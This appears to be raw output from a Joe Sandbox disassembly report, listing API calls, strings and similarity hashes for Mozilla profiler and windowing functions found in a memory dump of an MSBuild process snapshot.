Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: d24d4b7acc2507c028ec24a8346e85e4dac9baed13b02f3638bd0dd019a65668
Instruction ID: c4818df1e9af7b950e4d1cb9447a6f5b5740101a29eae4f3dce0f6d394465b2e
Opcode Fuzzy Hash: d24d4b7acc2507c028ec24a8346e85e4dac9baed13b02f3638bd0dd019a65668
Instruction Fuzzy Hash: 23B19B316083808BDB14CF26C090E5FB7E2AFC9718F154A1DE99567B95DB70ED0ACB82

Function 6C47B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C47B720
RtlNtStatusToDosError.NTDLL ref: 6C47B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C44FE3F,00000000,00000000,?,?,00000000,?,6C44FE3F), ref: 6C47B760

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 855045f7b9f6d6a1c0d36b46bc04e1a53097a8401f347abc367079eb8c0547ae
Instruction ID: b3a2682e53699562a1ad72d8c9f5882575f375250f45d186fc61924e2673d203
Opcode Fuzzy Hash: 855045f7b9f6d6a1c0d36b46bc04e1a53097a8401f347abc367079eb8c0547ae
Instruction Fuzzy Hash: 71F0AFB0E0020CAEEF11DAA18CC4FEEB7BD9B0431AF105229E511656C0D77895CCCAA0

Function 6C47B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C4203D4,?), ref: 6C47B955
NtQueryVirtualMemory.NTDLL ref: 6C47B9A5

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: ea54de07a2247d51b0a5b8e1839f860e981585d39da66e5693502f47172581a4
Instruction ID: 04e522357dd072313fdd6ad839815ae50b52f7695f736c8d2efe7004e277adac
Opcode Fuzzy Hash: ea54de07a2247d51b0a5b8e1839f860e981585d39da66e5693502f47172581a4
Instruction Fuzzy Hash: ED41A571E012199FDF14DFA9D881EDEBBB6FF88354F248129E915A7704DB3098458BE0

Function 6C4755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C44E1A5), ref: 6C475606
LoadLibraryW.KERNEL32(gdi32,?,6C44E1A5), ref: 6C47560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C475633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C47563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C47566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C47567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C475696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C4756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C4756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C4756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C4756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C475716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C47572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C475748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C475761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C47577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C475793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C4757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C4757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C4757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C4757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C4757FF

Strings

DeleteObject, xrefs: 6C4757F9
SetWindowLongPtrW, xrefs: 6C4757B7
LoadCursorW, xrefs: 6C475774
GetSystemMetricsForDpi, xrefs: 6C475677
EnableNonClientDpiScaling, xrefs: 6C475666
RegisterClassW, xrefs: 6C4756AC
StretchDIBits, xrefs: 6C4757CC
AreDpiAwarenessContextsEqual, xrefs: 6C475637
CreateSolidBrush, xrefs: 6C4757E4
FillRect, xrefs: 6C475729
GetThreadDpiAwarenessContext, xrefs: 6C47562D
SetWindowPos, xrefs: 6C4756F7
MonitorFromWindow, xrefs: 6C47578D
GetWindowDC, xrefs: 6C475710
ShowWindow, xrefs: 6C4756DE
gdi32, xrefs: 6C47560A
GetDpiForWindow, xrefs: 6C475690
GetMonitorInfoW, xrefs: 6C4757A2
user32, xrefs: 6C475601
LoadIconW, xrefs: 6C47575B
CreateWindowExW, xrefs: 6C4756C5
ReleaseDC, xrefs: 6C475742

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 4e4bc120b9d4a287c533f780a2738b20a4aa14585f19961612c04e18f39ae621
Instruction ID: c1118277736cd003d481a6effde90b7bdf5a9d4b6f11473600193681cfadb446
Opcode Fuzzy Hash: 4e4bc120b9d4a287c533f780a2738b20a4aa14585f19961612c04e18f39ae621
Instruction Fuzzy Hash: 01510E706127629BEF21FF358D48D6A3BBCAB16266711442DF912E6A52EB74CC10CF60

Function 6C45CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C42582D), ref: 6C45CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C42582D), ref: 6C45CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C48FE98,?,?,?,?,?,6C42582D), ref: 6C45CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C42582D), ref: 6C45CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C42582D), ref: 6C45CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C42582D), ref: 6C45CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C42582D), ref: 6C45CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C45CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C45CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C45CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C45CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C45CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C45CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C45CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C45CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C45CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C45CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C45CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C45CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C45CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C45CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C45CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C45CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C45CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C45CE8A

Strings

preferencereads, xrefs: 6C45CD92
java, xrefs: 6C45CC37
fileio, xrefs: 6C45CC92
nativeallocations, xrefs: 6C45CDA8
processcpu, xrefs: 6C45CE6E
fileioall, xrefs: 6C45CCA8
seqstyle, xrefs: 6C45CCE6
stackwalk, xrefs: 6C45CCF8
samplingallthreads, xrefs: 6C45CE2C
Unrecognized feature "%s"., xrefs: 6C45CEA0
mainthreadio, xrefs: 6C45CC7C
cpuallthreads, xrefs: 6C45CE16
nostacksampling, xrefs: 6C45CD7C
screenshots, xrefs: 6C45CCD4
markersallthreads, xrefs: 6C45CE42
default, xrefs: 6C45CC21
leaf, xrefs: 6C45CC66
unregisteredthreads, xrefs: 6C45CE58
noiostacks, xrefs: 6C45CCBE
audiocallbacktracing, xrefs: 6C45CDD4
jsallocations, xrefs: 6C45CD0E
ipcmessages, xrefs: 6C45CDBE
power, xrefs: 6C45CE84
notimerresolutionchange, xrefs: 6C45CE00

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 94d1a0babc6a06f6c53ab820ccb9281870574902e366d329e40fb13443cc87fa
Instruction ID: cbbd1f80542ab1c7e94387839a97299f127c794a447026a50d97f50e8825e4eb
Opcode Fuzzy Hash: 94d1a0babc6a06f6c53ab820ccb9281870574902e366d329e40fb13443cc87fa
Instruction Fuzzy Hash: 965177C1A4736551FA00F1296D11FAE3449EB5A24BF90453AEE0AE1F80FB09D62F85F7

Function 6C4247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C424801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C424817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C42482D
__Init_thread_footer.LIBCMT ref: 6C42484A

Part of subcall function 6C44AB3F: EnterCriticalSection.KERNEL32(6C49E370,?,?,6C413527,6C49F6CC,?,?,?,?,?,?,?,?,6C413284), ref: 6C44AB49
Part of subcall function 6C44AB3F: LeaveCriticalSection.KERNEL32(6C49E370,?,6C413527,6C49F6CC,?,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44AB7C

GetCurrentThreadId.KERNEL32 ref: 6C42485F
GetCurrentThreadId.KERNEL32 ref: 6C42487E
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C42488B
free.MOZGLUE(?), ref: 6C42493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C424956
free.MOZGLUE(00000000), ref: 6C424960
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C42499A

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

free.MOZGLUE(?), ref: 6C4249C6
free.MOZGLUE(?), ref: 6C4249E9

Part of subcall function 6C435E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C435EDB
Part of subcall function 6C435E90: memset.VCRUNTIME140(ewGl,000000E5,?), ref: 6C435F27
Part of subcall function 6C435E90: LeaveCriticalSection.KERNEL32(?), ref: 6C435FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C424A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C424828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C424A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C424812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4247FC

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 0284ae9770f267b7566e4ce1a5eb3cdf5a307ad433a0bd432fade1a5d1680fa6
Instruction ID: 884f5b6558853492a8c6c4c3034122b60fa211536fc73b72ac3908a11e5af102
Opcode Fuzzy Hash: 0284ae9770f267b7566e4ce1a5eb3cdf5a307ad433a0bd432fade1a5d1680fa6
Instruction Fuzzy Hash: D2813670A001208FEB10EF68C886F5A3B75FF52399F141229E916D7B81D739E855CB96

Function 6C424470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C424730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4244B2,6C49E21C,6C49F7F8), ref: 6C42473E
Part of subcall function 6C424730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C42474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4244D2
InitOnceExecuteOnce.KERNEL32(6C49F80C,6C41F240,?,?), ref: 6C42451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C42455C
LoadLibraryW.KERNEL32(?), ref: 6C424592
InitializeCriticalSection.KERNEL32(6C49F770), ref: 6C4245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4245BB
InitOnceExecuteOnce.KERNEL32(6C49F818,6C41F240,?,?), ref: 6C424612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C424636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C424644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C42466D
VerSetConditionMask.NTDLL ref: 6C42469F
VerSetConditionMask.NTDLL ref: 6C4246AB
VerSetConditionMask.NTDLL ref: 6C4246B2
VerSetConditionMask.NTDLL ref: 6C4246B9
VerSetConditionMask.NTDLL ref: 6C4246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4246FD

Strings

user32.dll, xrefs: 6C424557, 6C42463F
kernel32.dll, xrefs: 6C4244CD
NativeNtBlockSet_Write, xrefs: 6C4246F7
l, xrefs: 6C424578
WRusr.dll, xrefs: 6C4244B5
GIl, xrefs: 6C4244FC

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GIl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2712608560
Opcode ID: f402a31037f98f3637470cbf031552a67d8287cdcebec508eadd5945d6cb9fef
Instruction ID: d6f22832b57be662674ca77d30227cc0caa3c2ebe6157dede5cc753953445b46
Opcode Fuzzy Hash: f402a31037f98f3637470cbf031552a67d8287cdcebec508eadd5945d6cb9fef
Instruction Fuzzy Hash: 4A6146B0A01364AFFF10EF60CC4AFA57BB8EB56348F148058F9449B641D7B98981CFA0

Function 6C45F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C45F8F9

Part of subcall function 6C426390: GetCurrentThreadId.KERNEL32 ref: 6C4263D0
Part of subcall function 6C426390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4263DF
Part of subcall function 6C426390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C42640E

ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F93A
GetCurrentThreadId.KERNEL32 ref: 6C45F98A
GetCurrentThreadId.KERNEL32 ref: 6C45F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F716

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

Part of subcall function 6C41B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C41B5E0

GetCurrentThreadId.KERNEL32 ref: 6C45F739
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F746
GetCurrentThreadId.KERNEL32 ref: 6C45F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C49385B,00000002,?,?,?,?,?), ref: 6C45F829
free.MOZGLUE(?,?,00000000,?), ref: 6C45F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C45F866
free.MOZGLUE(?), ref: 6C45FA0C

Part of subcall function 6C425E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4255E1), ref: 6C425E8C
Part of subcall function 6C425E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C425E9D
Part of subcall function 6C425E60: GetCurrentThreadId.KERNEL32 ref: 6C425EAB
Part of subcall function 6C425E60: GetCurrentThreadId.KERNEL32 ref: 6C425EB8
Part of subcall function 6C425E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C425ECF
Part of subcall function 6C425E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C425F27
Part of subcall function 6C425E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C425F47
Part of subcall function 6C425E60: GetCurrentProcess.KERNEL32 ref: 6C425F53
Part of subcall function 6C425E60: GetCurrentThread.KERNEL32 ref: 6C425F5C
Part of subcall function 6C425E60: GetCurrentProcess.KERNEL32 ref: 6C425F66
Part of subcall function 6C425E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C425F7E

free.MOZGLUE(?), ref: 6C45F9C5
free.MOZGLUE(?), ref: 6C45F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C45F9A6
" attempted to re-register as ", xrefs: 6C45F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C45F71F
Thread , xrefs: 6C45F789

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 06c9e6971dd06783392a41d955ce0789c06b6f382d3e60a1b60507aee667f3ec
Instruction ID: 627c2ebd2ec7e8ce1de664135fca6f3e71cfe554776873cde1c5b8181441d146
Opcode Fuzzy Hash: 06c9e6971dd06783392a41d955ce0789c06b6f382d3e60a1b60507aee667f3ec
Instruction Fuzzy Hash: 7E8114B0A056109FEB10DF24C840FAEB7B5EF95308F84451DE88997B51EB309819CBD3

Function 6C45EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45EE60
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45EE6D
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C45EEA5
CloseHandle.KERNEL32(?), ref: 6C45EEB4
free.MOZGLUE(00000000), ref: 6C45EEBB
GetCurrentThreadId.KERNEL32 ref: 6C45EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45EECF

Part of subcall function 6C45DE60: GetCurrentThreadId.KERNEL32 ref: 6C45DE73
Part of subcall function 6C45DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C424A68), ref: 6C45DE7B
Part of subcall function 6C45DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C424A68), ref: 6C45DEB8
Part of subcall function 6C45DE60: free.MOZGLUE(00000000,?,6C424A68), ref: 6C45DEFE
Part of subcall function 6C45DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C45DF38

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

GetCurrentThreadId.KERNEL32 ref: 6C45EF1E
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45EF2B
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45EF59
GetCurrentThreadId.KERNEL32 ref: 6C45EFB0
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45EFBD
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45EFE1
